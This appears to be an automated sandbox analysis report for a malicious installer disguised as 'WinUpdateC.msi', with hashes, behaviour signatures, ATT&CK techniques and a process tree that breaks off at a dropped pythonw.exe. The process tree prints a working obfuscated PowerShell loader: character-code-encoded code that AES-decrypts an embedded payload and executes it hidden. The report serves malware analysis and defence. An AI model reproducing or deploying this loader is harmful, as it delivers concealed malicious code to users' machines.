a83fca3c94c4797bca84e36c6eb17ed72d941336c2a210d15406f15cff173a17

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 08:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WinUpdateC.msi
Size 11.3MB
Sample260805-j16wlsseph
SHA256 a83fca3c94c4797bca84e36c6eb17ed72d941336c2a210d15406f15cff173a17
MD5 01c5bd07251b15232ed57b8adde9ee03
SHA1 f6a0570c072a9d3ddaf5dc968373fcee3ff70567
SHA512 2753fd6509d081fce79cc421d6eb1bd183e2b77ecd94fd230a90836417c917b6e0c34d7ef9cf113fea094360ffafdf408b6732d7c5c0d91c73f55424b03f313d
SSDEEP 196608:LGEiJyWvueF5uD3XxHszrwzHIZmkxYpLbOxuMLmtRbzIVp0FfFsQOJGSjWjK6884:KEpWvueFQszrwzumoqPOsR3kglF1jbKX
TLSH
T1F2C63332F2A68E35C92D703A9DE2D594C86C3E31135490B1FB6D3AE13CFC5B6A4C15A9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence privilege_escalation ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4464	powershell.exe
376	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3664	pythonw.exe

Loads dropped DLL 19 IoCs

pid	Process
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSICD5D.tmp	msiexec.exe
File created	C:\Windows\Installer\e58cc65.msi	msiexec.exe
File created	C:\Windows\Installer\e58cc63.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{62B507F6-F5E0-41D9-AA45-B7BCCE9D015C}	msiexec.exe
File opened for modification	C:\Windows\Installer\e58cc63.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
2268	msiexec.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3388	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000524fef632b0bf5150000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000524fef630000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900524fef63000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a524fef63000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d524fef63000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3344	systeminfo.exe
4784	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 54 IoCs

pid	Process
2200	msiexec.exe
2200	msiexec.exe
4464	powershell.exe
4464	powershell.exe
4464	powershell.exe
376	powershell.exe
376	powershell.exe
376	powershell.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe
3664	pythonw.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2268	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2268	msiexec.exe
Token: SeSecurityPrivilege	2200	msiexec.exe
Token: SeCreateTokenPrivilege	2268	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2268	msiexec.exe
Token: SeLockMemoryPrivilege	2268	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2268	msiexec.exe
Token: SeMachineAccountPrivilege	2268	msiexec.exe
Token: SeTcbPrivilege	2268	msiexec.exe
Token: SeSecurityPrivilege	2268	msiexec.exe
Token: SeTakeOwnershipPrivilege	2268	msiexec.exe
Token: SeLoadDriverPrivilege	2268	msiexec.exe
Token: SeSystemProfilePrivilege	2268	msiexec.exe
Token: SeSystemtimePrivilege	2268	msiexec.exe
Token: SeProfSingleProcessPrivilege	2268	msiexec.exe
Token: SeIncBasePriorityPrivilege	2268	msiexec.exe
Token: SeCreatePagefilePrivilege	2268	msiexec.exe
Token: SeCreatePermanentPrivilege	2268	msiexec.exe
Token: SeBackupPrivilege	2268	msiexec.exe
Token: SeRestorePrivilege	2268	msiexec.exe
Token: SeShutdownPrivilege	2268	msiexec.exe
Token: SeDebugPrivilege	2268	msiexec.exe
Token: SeAuditPrivilege	2268	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2268	msiexec.exe
Token: SeChangeNotifyPrivilege	2268	msiexec.exe
Token: SeRemoteShutdownPrivilege	2268	msiexec.exe
Token: SeUndockPrivilege	2268	msiexec.exe
Token: SeSyncAgentPrivilege	2268	msiexec.exe
Token: SeEnableDelegationPrivilege	2268	msiexec.exe
Token: SeManageVolumePrivilege	2268	msiexec.exe
Token: SeImpersonatePrivilege	2268	msiexec.exe
Token: SeCreateGlobalPrivilege	2268	msiexec.exe
Token: SeBackupPrivilege	3308	vssvc.exe
Token: SeRestorePrivilege	3308	vssvc.exe
Token: SeAuditPrivilege	3308	vssvc.exe
Token: SeBackupPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe
Token: SeTakeOwnershipPrivilege	2200	msiexec.exe
Token: SeRestorePrivilege	2200	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2268	msiexec.exe
2268	msiexec.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 2024	2200	msiexec.exe	98
PID 2200 wrote to memory of 3388	2200	msiexec.exe	100
PID 3388 wrote to memory of 4464	3388	cmd.exe	102
PID 4464 wrote to memory of 376	4464	powershell.exe	105
PID 376 wrote to memory of 3664	376	powershell.exe	111
PID 3664 wrote to memory of 4364	3664	pythonw.exe	115
PID 3664 wrote to memory of 4668	3664	pythonw.exe	116
PID 3664 wrote to memory of 3344	3664	pythonw.exe	117
PID 3664 wrote to memory of 4892	3664	pythonw.exe	122
PID 3664 wrote to memory of 1864	3664	pythonw.exe	128
PID 3664 wrote to memory of 768	3664	pythonw.exe	129
PID 3664 wrote to memory of 4784	3664	pythonw.exe	131
PID 3664 wrote to memory of 4040	3664	pythonw.exe	134

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\WinUpdateC.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2268

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2024
- C:\Windows\system32\cmd.exe
  cmd.exe /c start "" powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\PowershellCleaner\scripts\cleaner.ps1" -NoExit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\PowershellCleaner\scripts\cleaner.ps1" -NoExit
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "iex (-join [char[]]@(0x24,0x62,0x3D,0x22,0x41,0x6B,0x67,0x66,0x52,0x78,0x30,0x4F,0x54,0x6B,0x62,0x75,0x5A,0x4C,0x50,0x74,0x6A,0x36,0x38,0x55,0x74,0x65,0x56,0x58,0x2B,0x59,0x2B,0x66,0x48,0x4D,0x6F,0x4C,0x35,0x73,0x55,0x64,0x44,0x77,0x38,0x43,0x4A,0x55,0x5A,0x33,0x69,0x39,0x2B,0x65,0x49,0x68,0x75,0x31,0x39,0x73,0x61,0x4B,0x64,0x56,0x4C,0x62,0x33,0x4B,0x41,0x50,0x4F,0x41,0x72,0x54,0x37,0x57,0x7A,0x45,0x44,0x44,0x4E,0x55,0x75,0x53,0x57,0x4B,0x4B,0x32,0x70,0x72,0x48,0x73,0x6B,0x4A,0x72,0x34,0x70,0x45,0x43,0x36,0x58,0x35,0x71,0x49,0x78,0x34,0x2F,0x78,0x4F,0x30,0x64,0x34,0x57,0x51,0x30,0x41,0x34,0x36,0x58,0x62,0x69,0x67,0x4A,0x42,0x67,0x35,0x35,0x54,0x61,0x31,0x57,0x56,0x41,0x7A,0x4B,0x74,0x50,0x6D,0x46,0x31,0x50,0x2B,0x77,0x4B,0x55,0x67,0x76,0x33,0x64,0x79,0x32,0x4E,0x78,0x6D,0x61,0x4A,0x6D,0x37,0x69,0x76,0x47,0x46,0x58,0x72,0x37,0x39,0x37,0x2B,0x42,0x48,0x33,0x65,0x41,0x74,0x4B,0x7A,0x49,0x48,0x34,0x75,0x47,0x6C,0x30,0x56,0x66,0x46,0x79,0x39,0x75,0x59,0x46,0x4C,0x51,0x43,0x49,0x30,0x76,0x50,0x79,0x71,0x58,0x6C,0x43,0x74,0x54,0x64,0x38,0x68,0x4D,0x4A,0x54,0x74,0x73,0x76,0x72,0x39,0x5A,0x53,0x63,0x31,0x38,0x52,0x79,0x4C,0x57,0x32,0x4A,0x4F,0x38,0x67,0x52,0x5A,0x57,0x36,0x45,0x2F,0x31,0x6A,0x65,0x68,0x71,0x4C,0x69,0x4C,0x43,0x6E,0x35,0x51,0x54,0x66,0x31,0x6A,0x45,0x33,0x47,0x47,0x43,0x49,0x33,0x6E,0x78,0x58,0x57,0x73,0x39,0x77,0x77,0x35,0x54,0x37,0x6E,0x69,0x67,0x69,0x36,0x39,0x57,0x4D,0x4E,0x62,0x79,0x69,0x61,0x38,0x59,0x4D,0x55,0x59,0x74,0x67,0x44,0x35,0x57,0x58,0x78,0x44,0x71,0x2F,0x43,0x48,0x35,0x6C,0x75,0x4C,0x73,0x51,0x2F,0x73,0x66,0x2B,0x50,0x6D,0x45,0x6E,0x72,0x4A,0x69,0x70,0x31,0x46,0x5A,0x49,0x41,0x4C,0x63,0x46,0x4D,0x71,0x41,0x4A,0x44,0x42,0x72,0x4F,0x76,0x7A,0x76,0x73,0x76,0x33,0x53,0x49,0x37,0x35,0x30,0x71,0x44,0x55,0x7A,0x52,0x34,0x74,0x54,0x6C,0x7A,0x69,0x56,0x65,0x55,0x44,0x39,0x6D,0x52,0x72,0x67,0x2F,0x69,0x36,0x71,0x79,0x6F,0x32,0x4B,0x66,0x35,0x48,0x62,0x2B,0x57,0x6D,0x6E,0x70,0x37,0x57,0x4C,0x47,0x48,0x66,0x34,0x59,0x4A,0x4E,0x2F,0x47,0x50,0x33,0x36,0x67,0x2F,0x57,0x66,0x6B,0x32,0x57,0x2B,0x73,0x35,0x63,0x55,0x54,0x6F,0x54,0x57,0x4C,0x5A,0x43,0x78,0x4C,0x4C,0x4B,0x63,0x75,0x4E,0x54,0x48,0x44,0x4F,0x63,0x68,0x55,0x39,0x6B,0x76,0x36,0x4C,0x51,0x69,0x73,0x34,0x39,0x6C,0x45,0x5A,0x76,0x49,0x65,0x42,0x70,0x44,0x32,0x44,0x48,0x67,0x74,0x51,0x6B,0x6C,0x36,0x6F,0x4C,0x63,0x47,0x4D,0x55,0x6A,0x39,0x6F,0x67,0x65,0x67,0x6F,0x4A,0x61,0x4B,0x6F,0x76,0x63,0x32,0x37,0x4B,0x6E,0x41,0x4C,0x72,0x6E,0x52,0x4F,0x75,0x4A,0x56,0x62,0x59,0x49,0x64,0x69,0x4D,0x65,0x6E,0x74,0x4A,0x46,0x54,0x49,0x74,0x68,0x4D,0x45,0x34,0x52,0x45,0x6A,0x63,0x54,0x58,0x51,0x6C,0x6C,0x59,0x38,0x4F,0x66,0x45,0x52,0x69,0x61,0x79,0x63,0x61,0x41,0x4A,0x42,0x67,0x62,0x39,0x7A,0x61,0x61,0x46,0x50,0x6D,0x4E,0x4B,0x75,0x57,0x48,0x71,0x65,0x4F,0x37,0x41,0x49,0x70,0x65,0x70,0x2B,0x62,0x55,0x51,0x67,0x6D,0x66,0x54,0x58,0x4D,0x52,0x2F,0x44,0x33,0x77,0x38,0x50,0x50,0x79,0x36,0x42,0x41,0x68,0x4C,0x56,0x56,0x7A,0x68,0x54,0x75,0x2F,0x68,0x37,0x39,0x6D,0x79,0x64,0x69,0x35,0x30,0x4D,0x36,0x6D,0x45,0x56,0x46,0x59,0x4E,0x6C,0x65,0x36,0x65,0x31,0x31,0x76,0x41,0x4A,0x2B,0x58,0x6E,0x4B,0x50,0x31,0x4E,0x5A,0x65,0x50,0x61,0x63,0x32,0x53,0x6E,0x79,0x4D,0x6A,0x4E,0x58,0x7A,0x2B,0x71,0x2B,0x62,0x7A,0x31,0x77,0x54,0x78,0x49,0x49,0x61,0x37,0x46,0x22,0x3B,0x24,0x68,0x3D,0x22,0x31,0x34,0x39,0x33,0x38,0x31,0x39,0x43,0x30,0x36,0x30,0x46,0x43,0x41,0x37,0x42,0x33,0x43,0x30,0x30,0x43,0x35,0x46,0x33,0x42,0x37,0x42,0x45,0x34,0x44,0x30,0x37,0x43,0x36,0x34,0x46,0x42,0x33,0x31,0x45,0x46,0x35,0x36,0x43,0x35,0x33,0x33,0x30,0x35,0x41,0x30,0x43,0x43,0x38,0x38,0x39,0x33,0x35,0x46,0x32,0x36,0x46,0x41,0x44,0x22,0x3B,0x24,0x70,0x3D,0x22,0x4B,0x46,0x48,0x45,0x4A,0x42,0x4B,0x46,0x48,0x45,0x49,0x46,0x4F,0x6E,0x64,0x77,0x6F,0x76,0x66,0x64,0x65,0x69,0x75,0x66,0x22,0x3B,0x24,0x73,0x3D,0x5B,0x62,0x79,0x74,0x65,0x5B,0x5D,0x5D,0x40,0x28,0x30,0x78,0x35,0x41,0x2C,0x30,0x78,0x31,0x46,0x2C,0x30,0x78,0x33,0x43,0x2C,0x30,0x78,0x39,0x39,0x2C,0x30,0x78,0x30,0x42,0x2C,0x30,0x78,0x45,0x32,0x2C,0x30,0x78,0x37,0x44,0x2C,0x30,0x78,0x34,0x34,0x29,0x3B,0x24,0x64,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x52,0x66,0x63,0x32,0x38,0x39,0x38,0x44,0x65,0x72,0x69,0x76,0x65,0x42,0x79,0x74,0x65,0x73,0x5D,0x3A,0x3A,0x6E,0x65,0x77,0x28,0x24,0x70,0x2C,0x24,0x73,0x2C,0x35,0x30,0x30,0x30,0x29,0x3B,0x24,0x6B,0x3D,0x24,0x64,0x2E,0x47,0x65,0x74,0x42,0x79,0x74,0x65,0x73,0x28,0x33,0x32,0x29,0x3B,0x24,0x76,0x3D,0x24,0x64,0x2E,0x47,0x65,0x74,0x42,0x79,0x74,0x65,0x73,0x28,0x31,0x36,0x29,0x3B,0x24,0x61,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x41,0x65,0x73,0x5D,0x3A,0x3A,0x43,0x72,0x65,0x61,0x74,0x65,0x28,0x29,0x3B,0x24,0x61,0x2E,0x4D,0x6F,0x64,0x65,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x43,0x69,0x70,0x68,0x65,0x72,0x4D,0x6F,0x64,0x65,0x5D,0x3A,0x3A,0x43,0x42,0x43,0x3B,0x24,0x61,0x2E,0x50,0x61,0x64,0x64,0x69,0x6E,0x67,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x50,0x61,0x64,0x64,0x69,0x6E,0x67,0x4D,0x6F,0x64,0x65,0x5D,0x3A,0x3A,0x50,0x4B,0x43,0x53,0x37,0x3B,0x24,0x63,0x3D,0x24,0x61,0x2E,0x43,0x72,0x65,0x61,0x74,0x65,0x44,0x65,0x63,0x72,0x79,0x70,0x74,0x6F,0x72,0x28,0x24,0x6B,0x2C,0x24,0x76,0x29,0x3B,0x24,0x6D,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x49,0x4F,0x2E,0x4D,0x65,0x6D,0x6F,0x72,0x79,0x53,0x74,0x72,0x65,0x61,0x6D,0x5D,0x3A,0x3A,0x6E,0x65,0x77,0x28,0x5B,0x43,0x6F,0x6E,0x76,0x65,0x72,0x74,0x5D,0x3A,0x3A,0x46,0x72,0x6F,0x6D,0x42,0x61,0x73,0x65,0x36,0x34,0x53,0x74,0x72,0x69,0x6E,0x67,0x28,0x24,0x62,0x29,0x29,0x3B,0x24,0x78,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x53,0x74,0x72,0x65,0x61,0x6D,0x5D,0x3A,0x3A,0x6E,0x65,0x77,0x28,0x24,0x6D,0x2C,0x24,0x63,0x2C,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x53,0x74,0x72,0x65,0x61,0x6D,0x4D,0x6F,0x64,0x65,0x5D,0x3A,0x3A,0x52,0x65,0x61,0x64,0x29,0x3B,0x24,0x72,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x49,0x4F,0x2E,0x53,0x74,0x72,0x65,0x61,0x6D,0x52,0x65,0x61,0x64,0x65,0x72,0x5D,0x3A,0x3A,0x6E,0x65,0x77,0x28,0x24,0x78,0x29,0x3B,0x24,0x63,0x6D,0x64,0x3D,0x24,0x72,0x2E,0x52,0x65,0x61,0x64,0x54,0x6F,0x45,0x6E,0x64,0x28,0x29,0x3B,0x24,0x72,0x2E,0x43,0x6C,0x6F,0x73,0x65,0x28,0x29,0x3B,0x24,0x78,0x2E,0x43,0x6C,0x6F,0x73,0x65,0x28,0x29,0x3B,0x24,0x6D,0x2E,0x43,0x6C,0x6F,0x73,0x65,0x28,0x29,0x3B,0x24,0x61,0x2E,0x44,0x69,0x73,0x70,0x6F,0x73,0x65,0x28,0x29,0x3B,0x24,0x73,0x68,0x61,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x53,0x48,0x41,0x32,0x35,0x36,0x5D,0x3A,0x3A,0x43,0x72,0x65,0x61,0x74,0x65,0x28,0x29,0x3B,0x24,0x63,0x68,0x3D,0x5B,0x42,0x69,0x74,0x43,0x6F,0x6E,0x76,0x65,0x72,0x74,0x65,0x72,0x5D,0x3A,0x3A,0x54,0x6F,0x53,0x74,0x72,0x69,0x6E,0x67,0x28,0x24,0x73,0x68,0x61,0x2E,0x43,0x6F,0x6D,0x70,0x75,0x74,0x65,0x48,0x61,0x73,0x68,0x28,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x54,0x65,0x78,0x74,0x2E,0x45,0x6E,0x63,0x6F,0x64,0x69,0x6E,0x67,0x5D,0x3A,0x3A,0x55,0x54,0x46,0x38,0x2E,0x47,0x65,0x74,0x42,0x79,0x74,0x65,0x73,0x28,0x24,0x63,0x6D,0x64,0x29,0x29,0x29,0x2E,0x52,0x65,0x70,0x6C,0x61,0x63,0x65,0x28,0x22,0x2D,0x22,0x2C,0x22,0x22,0x29,0x3B,0x24,0x73,0x68,0x61,0x2E,0x44,0x69,0x73,0x70,0x6F,0x73,0x65,0x28,0x29,0x3B,0x69,0x66,0x28,0x24,0x63,0x68,0x20,0x2D,0x65,0x71,0x20,0x24,0x68,0x29,0x7B,0x26,0x28,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x53,0x63,0x72,0x69,0x70,0x74,0x42,0x6C,0x6F,0x63,0x6B,0x5D,0x3A,0x3A,0x43,0x72,0x65,0x61,0x74,0x65,0x28,0x24,0x63,0x6D,0x64,0x29,0x29,0x7D,0x65,0x6C,0x73,0x65,0x7B,0x57,0x72,0x69,0x74,0x65,0x2D,0x48,0x6F,0x73,0x74,0x20,0x22,0x42,0x6C,0x6F,0x63,0x6B,0x65,0x64,0x20,0x2D,0x20,0x48,0x61,0x73,0x68,0x20,0x6D,0x69,0x73,0x6D,0x61,0x74,0x63,0x68,0x22,0x20,0x2D,0x46,0x6F,0x72,0x65,0x67,0x72,0x6F,0x75,0x6E,0x64,0x20,0x52,0x65,0x64,0x7D))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:376
    - - C:\Users\Admin\AppData\Roaming\eFiYXaVPvtzJxdhB\fl\ang\pythonw.exe
        
